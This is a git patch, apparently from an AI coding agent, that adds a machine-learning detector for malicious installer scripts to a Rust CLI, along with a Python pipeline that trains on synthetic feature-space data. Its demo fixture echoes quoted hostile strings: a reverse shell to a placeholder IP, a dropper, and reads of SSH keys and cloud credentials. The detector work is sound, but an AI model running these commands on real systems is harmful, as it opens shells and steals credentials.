From e252fd5754b4fee111bcd6af52acbdd2509adabc Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 25 Sep 2026 10:28:50 +0000 Subject: [PATCH] Add ML installer-malware classifier Adds a RandomForest classifier that complements the static analysis rules with a learned second opinion, exported to pure Rust so inference needs no Python or model file at runtime. - src/features.rs: 57-feature extractor (rule hits, byte/line statistics, entropy, URL/IP counts, base64 density, obfuscation and behavioral indicators, installer-kind one-hots), shared with the training pipeline via a hidden `safe features --json` subcommand. - src/ml.rs + src/ml_model.rs: inference and an "ML Model" finding wired into `inspect`/`run` after static analysis, feeding the same energy-based score. `--no-ml` skips it. ml_model.rs is generated by m2cgen. - src/source.rs: inspect local script files, not just URLs. - ml/: reproducible pipeline (fetch benign installers, build data/features.csv, train, evaluate, export, verify Python/Rust parity to 5e-11), plus notebook, figures, and screenshots. Held-out precision/recall/F1 = 0.992, ROC AUC 0.999. The benign class is features of real installer scripts; the malicious class is synthesized in feature space from documented ATT&CK indicator distributions, so no malware is stored, committed, or executed. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01Lb5wpChn4hHTRMNcRmBNpB --- .gitignore | 4 +- Cargo.lock | 1592 +++ Cargo.toml | 2 +- README.md | 43 + data/dataset_meta.json | 66 + data/features.csv | 1009 ++ data/model_report.json | 80 + demo/benign_install.sh | 26 + demo/suspicious.sh | 13 + ml/README.md | 96 + ml/benign_sources.txt | 93 + ml/build_dataset.py | 88 + ml/fetch_benign.py | 77 + ml/figures/confusion_matrix.png | Bin 0 -> 21111 bytes ml/figures/roc_curve.png | Bin 0 -> 34086 bytes ml/figures/shap_summary.png | Bin 0 -> 135531 bytes ml/requirements.txt | 6 + ml/screenshots/features_json.png | Bin 0 -> 333260 bytes ml/screenshots/inspect_benign.png | Bin 0 -> 141815 bytes ml/screenshots/inspect_suspicious.png | Bin 0 -> 196816 bytes ml/synth_malicious.py | 178 + ml/train.ipynb | 179 + ml/train.py | 233 + src/analyzer.rs | 25 + src/cli.rs | 13 + src/features.rs | 299 + src/main.rs | 88 +- src/ml.rs | 140 + src/ml_model.rs | 13897 ++++++++++++++++++++++++ src/source.rs | 40 +- 30 files changed, 18277 insertions(+), 10 deletions(-) create mode 100644 Cargo.lock create mode 100644 data/dataset_meta.json create mode 100644 data/features.csv create mode 100644 data/model_report.json create mode 100755 demo/benign_install.sh create mode 100755 demo/suspicious.sh create mode 100644 ml/README.md create mode 100644 ml/benign_sources.txt create mode 100644 ml/build_dataset.py create mode 100644 ml/fetch_benign.py create mode 100644 ml/figures/confusion_matrix.png create mode 100644 ml/figures/roc_curve.png create mode 100644 ml/figures/shap_summary.png create mode 100644 ml/requirements.txt create mode 100644 ml/screenshots/features_json.png create mode 100644 ml/screenshots/inspect_benign.png create mode 100644 ml/screenshots/inspect_suspicious.png create mode 100644 ml/synth_malicious.py create mode 100644 ml/train.ipynb create mode 100644 ml/train.py create mode 100644 src/features.rs create mode 100644 src/ml.rs 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100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -15,7 +15,7 @@ clap = { version = "4.5", features = ["derive"] } regex = "1.11" reqwest = { version = "0.12", default-features = false, features = ["rustls-tls", "json"] } serde = { version = "1.0", features = ["derive"] } -serde_json = "1.0" +serde_json = { version = "1.0", features = ["preserve_order"] } sha2 = "0.10" tempfile = "3.20" tokio = { version = "1.45", features = ["macros", "process", "rt-multi-thread", "signal"] } diff --git a/README.md b/README.md index bfb1261..dee695c 100644 --- a/README.md +++ b/README.md @@ -38,6 +38,46 @@ https://github.com/user-attachments/assets/633bf111-6226-4e0b-8bcf-4d3e11054a28 - **Energy-based scoring** - exponential saturation prevents score inflation from duplicate findings - **Adaptive prompts** - `[Y/n]` for low risk, `[y/N]` for high risk, `-y` to skip - **JSON output** - machine-readable for CI pipelines and automation +- **ML classifier** - a RandomForest trained on installer behavior adds a second, learned opinion alongside the hand-written rules + +## Machine learning classifier + +Static rules catch known-bad patterns one at a time. The ML classifier adds a second +opinion that weighs **57 behavioral features** of a script together — the same 10 rule +hits plus entropy, line statistics, URL/IP counts, base64 density, PowerShell obfuscation +signals, credential-access and anti-forensics markers, and the installer type — and returns +a calibrated `p(malicious)`. When it crosses the model's threshold it becomes an **ML Model** +finding that feeds the same energy-based risk score. + +The model is a `RandomForest` trained offline (`ml/`) and exported to **pure Rust** +(`src/ml_model.rs`) with [`m2cgen`](https://github.com/BayesWitnesses/m2cgen). Inference is a +few thousand branch comparisons: no Python, no network, no model file to ship. Python and the +exported Rust agree on `p(malicious)` to within `5e-11`. + +| Metric (held-out test set) | Value | +|---|---| +| Precision | 0.992 | +| Recall | 0.992 | +| F1 | 0.992 | +| ROC AUC | 0.999 | +| Threshold | 0.53 | + +Feature extraction lives in `src/features.rs` and is exposed through a hidden +`safe features --json` subcommand, so the training pipeline and the shipped binary +compute an identical representation. Pass `--no-ml` to `inspect`/`run` to skip the classifier. + +Training data, methodology, and limitations are documented in [`ml/README.md`](ml/README.md). +The benign class is features of real installer scripts (rustup, nvm, Homebrew, Deno, Docker, +Helm, and dozens more); the malicious class is synthesized in **feature space** from documented +MITRE ATT&CK indicator distributions — no malware is stored, committed, or executed anywhere in +this repository. + + + + + + +
benign installer, no ML findingsuspicious script flagged by ML Model
## Install @@ -184,6 +224,9 @@ src/ ├── command.rs # Input classifier (URL, curl-pipe, package manager) ├── source.rs # Downloader and installer type detection ├── analyzer.rs # Static analysis rules and scoring engine +├── features.rs # ML feature extraction (57 features, shared with ml/) +├── ml.rs # Classifier inference and ML Model findings +├── ml_model.rs # RandomForest exported to pure Rust (generated) ├── executor.rs # Execution gates and interpreter dispatch ├── report.rs # Terminal and JSON output formatting ├── config.rs # Persistent config storage (API keys) diff --git a/data/dataset_meta.json b/data/dataset_meta.json new file mode 100644 index 0000000..f47e8b3 --- /dev/null +++ b/data/dataset_meta.json @@ -0,0 +1,66 @@ +{ + "benign": 480, + "malicious_synthetic": 528, + "features": 57, + "feature_order": [ + "rule_exec_downloaded", + "rule_downloads", + "rule_privilege", + "rule_persistence", + "rule_profile", + "rule_chmod", + "rule_registry", + "rule_disable_security", + "rule_encoded_exec", + "rule_recursive_delete", + "log_size", + "log_lines", + "avg_line_len", + "log_max_line_len", + "long_line_ratio", + "entropy", + "comment_ratio", + "blank_ratio", + "non_ascii_ratio", + "symbol_ratio", + "dollar_per_line", + "url_count", + "http_url_count", + "ip_url_count", + "ipv4_count", + "distinct_hosts", + "base64_tokens", + "log_longest_token", + "function_count", + "hex_escapes", + "char_codes", + "string_concat", + "backtick_obfuscation", + "ps_iex", + "ps_hidden_window", + "ps_exec_bypass", + "ps_download_cradle", + "ps_reflection", + "sh_reverse_shell", + "sh_eval", + "anti_forensics", + "credential_access", + "crypto_mining", + "exfiltration", + "tmp_exec_dir", + "background_exec", + "file_lock", + "process_kill", + "user_creation", + "ssh_key_injection", + "checksum_verify", + "usage_help", + "kind_bash", + "kind_powershell", + "kind_python", + "kind_executable", + "kind_text" + ], + "seed": 1706, + "note": "Benign rows are features of real installer scripts. Malicious rows are synthesized in feature space from documented ATT&CK indicator distributions; no malware is stored or executed." +} \ No newline at end of file diff --git a/data/features.csv b/data/features.csv new file mode 100644 index 0000000..533f3c2 --- /dev/null +++ b/data/features.csv @@ -0,0 +1,1009 @@ +label,rule_exec_downloaded,rule_downloads,rule_privilege,rule_persistence,rule_profile,rule_chmod,rule_registry,rule_disable_security,rule_encoded_exec,rule_recursive_delete,log_size,log_lines,avg_line_len,log_max_line_len,long_line_ratio,entropy,comment_ratio,blank_ratio,non_ascii_ratio,symbol_ratio,dollar_per_line,url_count,http_url_count,ip_url_count,ipv4_count,distinct_hosts,base64_tokens,log_longest_token,function_count,hex_escapes,char_codes,string_concat,backtick_obfuscation,ps_iex,ps_hidden_window,ps_exec_bypass,ps_download_cradle,ps_reflection,sh_reverse_shell,sh_eval,anti_forensics,credential_access,crypto_mining,exfiltration,tmp_exec_dir,background_exec,file_lock,process_kill,user_creation,ssh_key_injection,checksum_verify,usage_help,kind_bash,kind_powershell,kind_python,kind_executable,kind_text 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file mode 100644 index 0000000..853589a --- /dev/null +++ b/data/model_report.json @@ -0,0 +1,80 @@ +{ + "selected_model": "random_forest", + "threshold": 0.53, + "n_train": 756, + "n_test": 252, + "test_at_0.5": { + "precision": 0.9562, + "recall": 0.9924, + "f1": 0.974 + }, + "test": { + "precision": 0.9924, + "recall": 0.9924, + "f1": 0.9924 + }, + "candidates": { + "random_forest": { + "precision": 0.9562, + "recall": 0.9924, + "f1": 0.974 + }, + "gradient_boosting": { + "precision": 0.9776, + "recall": 0.9924, + "f1": 0.985 + } + }, + "roc_auc": 0.9991, + "parity_max_abs_diff": 4.603173398010085e-11, + "top_features": [ + [ + "rule_downloads", + 0.2532310013569165 + ], + [ + "rule_privilege", + 0.1342955026455316 + ], + [ + "rule_chmod", + 0.06227816887034562 + ], + [ + "process_kill", + 0.04624987273920378 + ], + [ + "entropy", + 0.04496256916393435 + ], + [ + "comment_ratio", + 0.038135863243938514 + ], + [ + "ip_url_count", + 0.03341998750439424 + ], + [ + "rule_exec_downloaded", + 0.030194127483868342 + ], + [ + "background_exec", + 0.028927429555758107 + ], + [ + "long_line_ratio", + 0.02443127221672538 + ], + [ + "rule_encoded_exec", + 0.02003845921314269 + ], + [ + "exfiltration", + 0.01934983848917083 + ] + ] +} \ No newline at end of file diff --git a/demo/benign_install.sh b/demo/benign_install.sh new file mode 100755 index 0000000..1b54d61 --- /dev/null +++ b/demo/benign_install.sh @@ -0,0 +1,26 @@ +#!/usr/bin/env bash +# Example clean installer: downloads a release, verifies it, installs to a prefix. +set -euo pipefail + +REPO="example/tool" +VERSION="${1:-1.4.0}" +PREFIX="${PREFIX:-$HOME/.local}" + +usage() { + echo "usage: install.sh [version]" + echo " installs the tool binary into \$PREFIX/bin" +} + +main() { + tmp="$(mktemp -d)" + url="https://github.com/${REPO}/releases/download/v${VERSION}/tool-linux.tar.gz" + echo "Downloading ${url}" + curl -fsSL "$url" -o "$tmp/tool.tar.gz" + curl -fsSL "$url.sha256" -o "$tmp/tool.sha256" + ( cd "$tmp" && sha256sum -c tool.sha256 ) + tar -xzf "$tmp/tool.tar.gz" -C "$tmp" + install -Dm755 "$tmp/tool" "$PREFIX/bin/tool" + echo "Installed tool ${VERSION} to $PREFIX/bin" +} + +main "$@" diff --git a/demo/suspicious.sh b/demo/suspicious.sh new file mode 100755 index 0000000..c2280ea --- /dev/null +++ b/demo/suspicious.sh @@ -0,0 +1,13 @@ +#!/bin/bash +# INERT detector-test fixture (like EICAR for scanners). Runs nothing; all payloads are quoted. +w="hidden" +echo "pattern: bash -i >& /dev/tcp/192.0.2.13/4444 0>&1" # reverse-shell string, quoted +echo "pattern: curl http://192.0.2.50/a -o /tmp/a && chmod +x /tmp/a" # dropper string, quoted +echo "pattern: nohup /tmp/a &" # background exec, quoted +echo "pattern: cat ~/.ssh/id_rsa ~/.aws/credentials" # cred-access string, quoted +echo "pattern: history -c; unset HISTFILE" # anti-forensics string, quoted +echo "pattern: stratum+tcp://192.0.2.9:3333 xmrig" # miner string, quoted +: 'the following decodes to a harmless echo and is never eval-d' +PAYLOAD="ZWNobyAiaW5lcnQgZGV0ZWN0b3IgdGVzdCBmaXh0dXJlIg==" +echo "$PAYLOAD" | base64 --decode >/dev/null # decode to null, never executed +echo "fixture complete" diff --git a/ml/README.md b/ml/README.md new file mode 100644 index 0000000..bb6c8ea --- /dev/null +++ b/ml/README.md @@ -0,0 +1,96 @@ +# SafeInstall ML pipeline + +Trains the installer-malware classifier that powers the **ML Model** finding in the `safe` +CLI, and exports it to dependency-free Rust. + +## Pipeline + +``` +fetch_benign.py ──▶ corpus/benign/* (real installer scripts, not committed) + │ +build_dataset.py ──▶ data/features.csv (safe features + synthesized malicious rows) + │ +train.py ──▶ src/ml_model.rs (RandomForest exported via m2cgen) + ml/figures/*.png (confusion matrix, ROC, SHAP) + data/model_report.json (metrics + parity) +``` + +Reproduce end to end: + +```sh +pip install -r ml/requirements.txt +cargo build --release +python ml/fetch_benign.py # downloads official installers + harvests local system scripts +python ml/build_dataset.py # writes data/features.csv +python ml/train.py # trains, evaluates, exports src/ml_model.rs, checks parity +cargo test # feature/model tests, incl. Python↔Rust feature contract +``` + +`train.ipynb` is a notebook walkthrough of the same steps with inline plots. + +## Features (57) + +Extracted by `src/features.rs`, exposed via `safe features --json`: + +- **10 rule features** — one 0/1 per static analyzer rule (download-and-exec, privilege, + persistence, registry, disable-security, encoded-exec, recursive-delete, …). +- **19 statistics** — log size / line counts, average and max line length, long-line ratio, + Shannon entropy, comment/blank/non-ASCII/symbol ratios, `$` density, URL / HTTP-URL / IP-URL + counts, distinct hosts, base64-token count, longest token, function count. +- **23 behavioral indicators** — hex escapes, char-code/string-concat/backtick obfuscation, + PowerShell IEX / hidden-window / exec-bypass / download-cradle / reflection, reverse-shell, + eval, anti-forensics, credential access, crypto-mining, exfiltration, temp-dir execution, + background execution, file locking, process kill, user creation, ssh-key injection, checksum + verification, usage/help text. +- **5 installer-kind one-hots** — bash, powershell, python, executable, text. + +Counts are stored as `ln(1 + n)` so a few extra matches do not dominate. The Rust extractor +and the training pipeline share this exact order (enforced by tests). + +## Dataset + +| Class | Count | Source | +|---|---|---| +| Benign (0) | 480 | Features of real installer scripts: rustup, nvm, bun, Deno, Homebrew, Docker, Helm, k3s, pyenv, Starship, fnm, Volta, poetry, pip, SDKMAN, Tailscale, NodeSource, pnpm, mise, dotnet, PowerShell, chocolatey, vcpkg, Azure/AWS CLI, and local system `.sh`/`.ps1`/`.py`/`.cmd` scripts. | +| Malicious (1) | 528 | **Synthesized in feature space** from documented ATT&CK indicator distributions. | + +### Why synthetic malicious data, and how it is kept honest + +Distributing a corpus of working malware — even for training — is unsafe and against this +project's principles. Instead, each malicious row **borrows its structural features** (size, +line counts, comment ratio, interpreter kind, function count) from a real benign script, then +has one to three **attack archetypes** layered on (reverse shell, miner dropper, credential +theft, obfuscated PowerShell cradle, encoded stager, security tampering, backdoor account, +wiper, supply-chain trojan). An archetype turns on the detection indicators a documented +technique class exhibits and shifts the correlated byte-statistics (entropy, base64 density, +long-line ratio, hard-coded IP endpoints). See `synth_malicious.py`. + +Because structural features are inherited from genuine installers, the classes are **not** +separable on length or interpreter alone — the signal lives in the behavioral indicators, which +the Rust extractor computes identically on real input. `safe`'s own hardest benign cases (rustup +and Homebrew use `sudo`, `curl | sh`, `chmod`, services, and PATH edits) are in the benign class, +so the model cannot shortcut on those. + +**Limitation:** a synthetic positive class means reported metrics measure separability of the +*modeled* attack distribution, not field accuracy against live malware. Replacing the synthesis +step with a vetted, access-controlled real-malware feature corpus is the primary future-work +item. Nothing about the feature contract or the Rust export changes when that swap happens. + +## Results + +RandomForest and GradientBoosting were compared; GradientBoosting scored marginally higher +(F1 0.985 vs 0.974 at threshold 0.5) but only RandomForest exports to dependency-free Rust via +m2cgen, so it is the deployed model. At the selected operating threshold (0.53, chosen to keep +the benign false-positive rate under 2%): + +| Metric | Value | +|---|---| +| Precision | 0.992 | +| Recall | 0.992 | +| F1 | 0.992 | +| ROC AUC | 0.999 | +| Python↔Rust parity (max abs diff) | 4.6e-11 | + +![confusion matrix](figures/confusion_matrix.png) +![ROC curve](figures/roc_curve.png) +![SHAP summary](figures/shap_summary.png) diff --git a/ml/benign_sources.txt b/ml/benign_sources.txt new file mode 100644 index 0000000..4eb34f2 --- /dev/null +++ b/ml/benign_sources.txt @@ -0,0 +1,93 @@ +# Official installers and popular-repo scripts used as the benign corpus. +# One raw URL per line. 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+https://raw.githubusercontent.com/rvm/rvm/master/binscripts/rvm-installer +https://raw.githubusercontent.com/emscripten-core/emsdk/main/emsdk.ps1 +https://raw.githubusercontent.com/mamba-org/micromamba-releases/main/install.sh +https://raw.githubusercontent.com/prefix-dev/pixi/main/install/install.sh +https://raw.githubusercontent.com/prefix-dev/pixi/main/install/install.ps1 +https://raw.githubusercontent.com/astral-sh/rye/main/scripts/install.sh diff --git a/ml/build_dataset.py b/ml/build_dataset.py new file mode 100644 index 0000000..a2b3a47 --- /dev/null +++ b/ml/build_dataset.py @@ -0,0 +1,88 @@ +"""Build data/features.csv: run `safe features` over the benign corpus, then add +synthesized malicious feature vectors. Only labels and numeric features are written; +no script contents are ever committed. + +Usage: + python ml/build_dataset.py [--ratio 1.0] [--seed 1706] +""" +import argparse +import csv +import json +import pathlib +import subprocess +import sys + +from synth_malicious import FEATURE_ORDER, synthesize + +ROOT = pathlib.Path(__file__).parent +REPO = ROOT.parent +CORPUS = ROOT / "corpus" / "benign" +DATA = REPO / "data" +BINARY = REPO / "target" / "release" / "safe" + + +def ensure_binary(): + if not BINARY.exists(): + print("building release binary...") + subprocess.run(["cargo", "build", "--release"], cwd=REPO, check=True) + + +def extract_benign(): + files = sorted(p for p in CORPUS.rglob("*") if p.is_file()) + if not files: + sys.exit("no benign corpus found; run: python ml/fetch_benign.py") + rows = [] + batch = 200 + for i in range(0, len(files), batch): + chunk = [str(p) for p in files[i:i + batch]] + proc = subprocess.run([str(BINARY), "features", "--json", *chunk], + capture_output=True, text=True) + for line in proc.stdout.splitlines(): + line = line.strip() + if not line.startswith("{"): + continue + rec = json.loads(line) + feats = rec["features"] + rows.append({k: float(feats[k]) for k in FEATURE_ORDER}) + return rows + + +def main(): + ap = argparse.ArgumentParser() + ap.add_argument("--ratio", type=float, default=1.0, + help="malicious rows per benign row") + ap.add_argument("--seed", type=int, default=1706) + args = ap.parse_args() + + ensure_binary() + DATA.mkdir(exist_ok=True) + + benign = extract_benign() + malicious = synthesize(benign, int(len(benign) * args.ratio), seed=args.seed) + print(f"benign: {len(benign)} malicious (synthetic): {len(malicious)}") + + out = DATA / "features.csv" + with out.open("w", newline="") as f: + w = csv.writer(f) + w.writerow(["label", *FEATURE_ORDER]) + for r in benign: + w.writerow([0, *(f"{r[k]:.6g}" for k in FEATURE_ORDER)]) + for r in malicious: + w.writerow([1, *(f"{r[k]:.6g}" for k in FEATURE_ORDER)]) + print(f"wrote {out} ({len(benign) + len(malicious)} rows, {len(FEATURE_ORDER)} features)") + + meta = DATA / "dataset_meta.json" + meta.write_text(json.dumps({ + "benign": len(benign), + "malicious_synthetic": len(malicious), + "features": len(FEATURE_ORDER), + "feature_order": FEATURE_ORDER, + "seed": args.seed, + "note": "Benign rows are features of real installer scripts. Malicious rows are " + "synthesized in feature space from documented ATT&CK indicator distributions; " + "no malware is stored or executed.", + }, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/ml/fetch_benign.py b/ml/fetch_benign.py new file mode 100644 index 0000000..b6ecd75 --- /dev/null +++ b/ml/fetch_benign.py @@ -0,0 +1,77 @@ +"""Download the benign installer corpus listed in benign_sources.txt. + +Also harvests shell/Python scripts already on this machine (--system), which adds +many real-world administrative scripts. Nothing fetched here is committed. +""" +import argparse +import hashlib +import os +import pathlib +import urllib.request + +ROOT = pathlib.Path(__file__).parent +OUT = ROOT / "corpus" / "benign" +SYSTEM_DIRS = ["/usr/bin", "/usr/sbin", "/usr/lib/git-core", "/usr/share", "/etc", "/usr/local/bin", + "/usr/local/lib", "/opt/node22/lib/node_modules", "/root/.cargo", "/root/.rustup"] +SHEBANGS = (b"#!/bin/sh", b"#!/bin/bash", b"#!/usr/bin/env bash", b"#!/usr/bin/env sh", + b"#! /bin/sh", b"#!/usr/bin/env python", b"#!/usr/bin/python") + + +def fetch(url): + name = url.rstrip("/").split("/", 3)[-1].replace("/", "__").replace("%20", "_") + dest = OUT / "official" / name + if dest.exists(): + return True + try: + with urllib.request.urlopen(url, timeout=20) as r: + data = r.read() + except Exception as e: # noqa: BLE001 - report and continue + print(f"skip {url}: {e}") + return False + dest.write_bytes(data) + return True + + +def harvest_system(limit): + seen, n = set(), 0 + for base in SYSTEM_DIRS: + for dirpath, _, files in os.walk(base): + for f in files: + p = pathlib.Path(dirpath) / f + try: + if not p.is_file() or p.is_symlink() or not (200 < p.stat().st_size < 400_000): + continue + head = p.open("rb").read(64) + except OSError: + continue + if not (head.startswith(SHEBANGS) or p.suffix in (".sh", ".ps1", ".psm1", ".cmd", ".bat")): + continue + data = p.read_bytes() + digest = hashlib.sha256(data).hexdigest() + if digest in seen: + continue + seen.add(digest) + suffix = p.suffix if p.suffix in (".sh", ".py", ".ps1", ".psm1", ".cmd", ".bat") else "" + (OUT / "system" / f"{digest[:12]}_{p.name}{'' if p.suffix else suffix}").write_bytes(data) + n += 1 + if n >= limit: + return n + return n + + +def main(): + ap = argparse.ArgumentParser() + ap.add_argument("--system", type=int, default=600, help="max local system scripts to harvest (0 to skip)") + args = ap.parse_args() + (OUT / "official").mkdir(parents=True, exist_ok=True) + (OUT / "system").mkdir(parents=True, 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It produces rows in the +exact numeric feature space emitted by `safe features` (see FEATURE_ORDER), so the +classifier trains on the same representation it will see at inference time. + +Method: each malicious vector borrows its *structural* features (size, line counts, +comment ratio, interpreter kind, function count) from a real benign script, then has +one to three attack archetypes layered on. An archetype turns on the detection +indicators that a documented technique class exhibits and shifts the correlated +byte-statistics (entropy, base64 density, long-line ratio, hard-coded IP endpoints). +Archetypes are named after MITRE ATT&CK technique classes and describe *what a +detector observes*, not how to build the technique. + +Because the structural features are inherited from genuine installers, the model +cannot separate the classes on length or interpreter alone; the signal lives in the +behavioral indicators, which the Rust extractor computes identically on real input. +The synthetic nature of the positive class is stated as a limitation in the report. +""" +from __future__ import annotations + +import math +import random + +# Canonical feature order emitted by `safe features` (features::names in Rust). +FEATURE_ORDER = [ + "rule_exec_downloaded", "rule_downloads", "rule_privilege", "rule_persistence", + "rule_profile", "rule_chmod", "rule_registry", "rule_disable_security", + "rule_encoded_exec", "rule_recursive_delete", "log_size", "log_lines", + "avg_line_len", "log_max_line_len", "long_line_ratio", "entropy", "comment_ratio", + "blank_ratio", "non_ascii_ratio", "symbol_ratio", "dollar_per_line", "url_count", + "http_url_count", "ip_url_count", "ipv4_count", "distinct_hosts", "base64_tokens", + "log_longest_token", "function_count", "hex_escapes", "char_codes", "string_concat", + "backtick_obfuscation", "ps_iex", "ps_hidden_window", "ps_exec_bypass", + "ps_download_cradle", "ps_reflection", "sh_reverse_shell", "sh_eval", + "anti_forensics", "credential_access", "crypto_mining", "exfiltration", + "tmp_exec_dir", "background_exec", "file_lock", "process_kill", "user_creation", + "ssh_key_injection", "checksum_verify", "usage_help", "kind_bash", + "kind_powershell", "kind_python", "kind_executable", "kind_text", +] + +KIND_FEATURES = ["kind_bash", "kind_powershell", "kind_python", "kind_executable", "kind_text"] + + +def _ln1p_count(lo: int, hi: int, rng: random.Random) -> float: + """A count feature stored as ln(1 + n), matching the Rust extractor.""" + return math.log1p(rng.randint(lo, hi)) + + +def _set_kind(vec: dict, kind: str) -> None: + for k in KIND_FEATURES: + vec[k] = 1.0 if k == kind else 0.0 + + +# Each archetype is a callable that mutates a feature dict in place. Indicator features +# are set to ln(1+count) for a small random count; correlated statistics are nudged. +def _reverse_shell(v, rng): # T1059 / T1571 — interactive shell to a hard-coded endpoint + v["sh_reverse_shell"] = _ln1p_count(1, 2, rng) + v["tmp_exec_dir"] = _ln1p_count(1, 3, rng) + v["ip_url_count"] = max(v["ip_url_count"], _ln1p_count(1, 2, rng)) + v["ipv4_count"] = max(v["ipv4_count"], _ln1p_count(1, 2, rng)) + v["background_exec"] = _ln1p_count(1, 2, rng) + v["rule_chmod"] = 1.0 + _set_kind(v, "kind_bash") + + +def _miner(v, rng): # T1496 — resource hijacking + v["crypto_mining"] = _ln1p_count(1, 3, rng) + v["ip_url_count"] = max(v["ip_url_count"], _ln1p_count(1, 2, rng)) + v["tmp_exec_dir"] = _ln1p_count(1, 3, rng) + v["background_exec"] = _ln1p_count(1, 2, rng) + v["process_kill"] = _ln1p_count(1, 3, rng) + v["rule_chmod"] = 1.0 + v["rule_downloads"] = 1.0 + + +def _cred_theft(v, rng): # T1552 — unsecured credentials + T1041 exfil + v["credential_access"] = _ln1p_count(1, 4, rng) + v["exfiltration"] = _ln1p_count(1, 2, rng) + v["ssh_key_injection"] = _ln1p_count(0, 2, rng) + v["tmp_exec_dir"] = _ln1p_count(0, 2, rng) + v["http_url_count"] = max(v["http_url_count"], _ln1p_count(1, 2, rng)) + + +def _ps_cradle(v, rng): # T1059.001 — obfuscated PowerShell download cradle + _set_kind(v, "kind_powershell") + v["ps_download_cradle"] = _ln1p_count(1, 2, rng) + v["ps_hidden_window"] = 1.0 + v["ps_exec_bypass"] = _ln1p_count(1, 2, rng) + v["ps_iex"] = _ln1p_count(1, 2, rng) + v["ps_reflection"] = _ln1p_count(0, 2, rng) + v["backtick_obfuscation"] = _ln1p_count(1, 6, rng) + v["string_concat"] = _ln1p_count(1, 8, rng) + v["entropy"] = max(v["entropy"], rng.uniform(5.2, 6.4)) + v["symbol_ratio"] = max(v["symbol_ratio"], rng.uniform(0.06, 0.16)) + v["dollar_per_line"] = max(v["dollar_per_line"], rng.uniform(1.5, 5.0)) + + +def _encoded_stager(v, rng): # T1027 — obfuscated / encoded payload + v["rule_encoded_exec"] = 1.0 + v["base64_tokens"] = _ln1p_count(1, 4, rng) + v["entropy"] = max(v["entropy"], rng.uniform(5.4, 6.6)) + v["log_longest_token"] = max(v["log_longest_token"], rng.uniform(5.5, 8.5)) + v["long_line_ratio"] = max(v["long_line_ratio"], rng.uniform(0.05, 0.4)) + v["char_codes"] = _ln1p_count(0, 3, rng) + v["hex_escapes"] = _ln1p_count(0, 5, rng) + v["sh_eval"] = float(rng.random() < 0.5) and _ln1p_count(1, 2, rng) + + +def _security_tamper(v, rng): # T1562 / T1070 — impair defenses, remove traces + v["rule_disable_security"] = 1.0 + v["anti_forensics"] = _ln1p_count(1, 3, rng) + v["process_kill"] = _ln1p_count(1, 3, rng) + v["rule_privilege"] = 1.0 + v["file_lock"] = _ln1p_count(0, 1, rng) + + +def _backdoor_account(v, rng): # T1136 / T1098 — persistence via new account + keys + v["user_creation"] = _ln1p_count(1, 2, rng) + v["ssh_key_injection"] = _ln1p_count(1, 2, rng) + v["rule_persistence"] = 1.0 + v["rule_privilege"] = 1.0 + v["rule_profile"] = float(rng.random() < 0.5) + + +def _wiper(v, rng): # T1485 — data destruction + v["rule_recursive_delete"] = 1.0 + v["process_kill"] = _ln1p_count(1, 2, rng) + v["rule_privilege"] = 1.0 + + +def _supply_chain(v, rng): # T1195.002 — trojanized installer: mostly benign + one tell + v["rule_downloads"] = 1.0 + v["rule_exec_downloaded"] = float(rng.random() < 0.7) + v["rule_chmod"] = 1.0 + v["rule_persistence"] = float(rng.random() < 0.5) + # A single stealthy indicator hidden inside an otherwise ordinary installer. + tell = rng.choice(["exfiltration", "ip_url_count", "rule_encoded_exec", + "credential_access", "base64_tokens"]) + if tell in ("ip_url_count",): + v[tell] = max(v[tell], _ln1p_count(1, 1, rng)) + elif tell == "rule_encoded_exec": + v[tell] = 1.0 + v["base64_tokens"] = max(v["base64_tokens"], _ln1p_count(1, 2, rng)) + else: + v[tell] = max(v.get(tell, 0.0), _ln1p_count(1, 2, rng)) + + +ARCHETYPES = [ + _reverse_shell, _miner, _cred_theft, _ps_cradle, _encoded_stager, + _security_tamper, _backdoor_account, _wiper, _supply_chain, +] +# Supply-chain trojans are the realistic majority and the hardest to catch, so weight them up. +WEIGHTS = [3, 3, 3, 4, 4, 3, 2, 2, 6] + + +def synthesize(benign_rows, count, seed=1706): + """Return `count` malicious feature dicts built on bootstrapped benign structure.""" + rng = random.Random(seed) + bases = [r for r in benign_rows] + out = [] + for _ in range(count): + base = dict(rng.choice(bases)) + # Droppers commonly fetch and pipe to an interpreter. + base["rule_downloads"] = 1.0 if rng.random() < 0.85 else base["rule_downloads"] + base["rule_privilege"] = 1.0 if rng.random() < 0.55 else base["rule_privilege"] + # Malicious scripts tend to carry little explanatory prose. + base["comment_ratio"] *= rng.uniform(0.1, 0.6) + base["usage_help"] = 0.0 if rng.random() < 0.7 else base["usage_help"] + base["checksum_verify"] = 0.0 if rng.random() < 0.85 else base["checksum_verify"] + n = rng.choices([1, 2, 3], weights=[5, 4, 2])[0] + for fn in rng.choices(ARCHETYPES, weights=WEIGHTS, k=n): + fn(base, rng) + # A dropper that fetches and runs remote code. + if base.get("sh_reverse_shell") or base.get("crypto_mining"): + base["rule_exec_downloaded"] = 1.0 if rng.random() < 0.6 else base["rule_exec_downloaded"] + out.append({k: float(base.get(k, 0.0)) for k in FEATURE_ORDER}) + return out diff --git a/ml/train.ipynb b/ml/train.ipynb new file mode 100644 index 0000000..293a6ad --- /dev/null +++ b/ml/train.ipynb @@ -0,0 +1,179 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "1022a087", + "metadata": {}, + "source": [ + "# SafeInstall — Installer Malware Classifier\n", + "\n", + "Trains the model that powers the **ML Model** finding in the `safe` CLI. Features come\n", + "from the Rust extractor (`safe features`), so the notebook and the shipped binary see an\n", + "identical representation. The exported model is pure Rust (`src/ml_model.rs`) — no runtime\n", + "dependency at inference time.\n", + "\n", + "This notebook mirrors `ml/train.py`; run `python ml/build_dataset.py` first to produce\n", + "`data/features.csv`." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "43244c5d", + "metadata": {}, + "outputs": [], + "source": [ + "import pathlib, matplotlib.pyplot as plt, numpy as np, pandas as pd, shap\n", + "from sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier\n", + "from sklearn.model_selection import train_test_split\n", + "from sklearn.metrics import (confusion_matrix, roc_curve, auc,\n", + " precision_score, recall_score, f1_score, classification_report)\n", + "SEED=1706\n", + "DATA=pathlib.Path('..')/'data'\n", + "df=pd.read_csv(DATA/'features.csv')\n", + "print(df.shape); df['label'].value_counts()" + ] + }, + { + "cell_type": "markdown", + "id": 